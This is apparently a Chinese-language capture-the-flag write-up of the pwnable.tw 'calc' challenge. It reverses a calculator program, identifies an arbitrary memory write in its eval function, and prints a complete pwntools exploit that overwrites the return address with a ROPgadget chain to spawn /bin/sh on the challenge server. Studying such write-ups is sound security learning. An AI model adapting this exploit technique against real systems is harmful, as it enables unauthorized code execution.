题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞

运行之发现是一个计算器的程序，简单测试下发现当输入的操作数超过10位时会有一个整型溢出

img

这里调试了一下发现是printf(“%d”,num[num-1])时要输出的结果超过了2^31，2147483648即0x80000000，所以这应该算是一个bug并不是一个可利用的漏洞（32位程序最大输出2^31的原因是int类型最高位是符号标志位）

img

下面我们逆向一下整个程序找到真正可利用的漏洞

img

其中get_expr函数在读入时会进行字符的过滤，只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零，这里num记录的是进行parse_expr时数字的总个数

下面看一下parse_expr函数

img

以下根据符号求表达式值过程省略，可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

img

这里真正存在的漏洞是eval中的一个任意地址写的漏洞，我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可

这里最暴力的方法是利用ROPgadget生成ropchain，然后利用eval的任意地址写直接修改内存即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *



context.log_level='DEBUG'

r=remote('chall.pwnable.tw',10100)



r.recv()



from struct import pack



# Padding goes here

p = ''



p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '/bin'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec064) # @ .data + 4

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '//sh'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 8

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481d1) # pop ebx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret

p += pack('<I', 0x080ec068) # @ .data + 8

p += pack('<I', 0x080ec060) # padding without overwrite ebx

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 8

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x08049a21) # int 0x80



def set_val(addr):

    r.sendline('+'+str(addr))

    val=int(r.recv(100))

    if val>0:

        r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-361)*4:(addr-361+1)*4])))

    else:

        r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-361)*4:(addr-361+1)*4])))

    r.recv()



for i in range(361,361+len(p)/4):

    set_val(i)



r.interactive()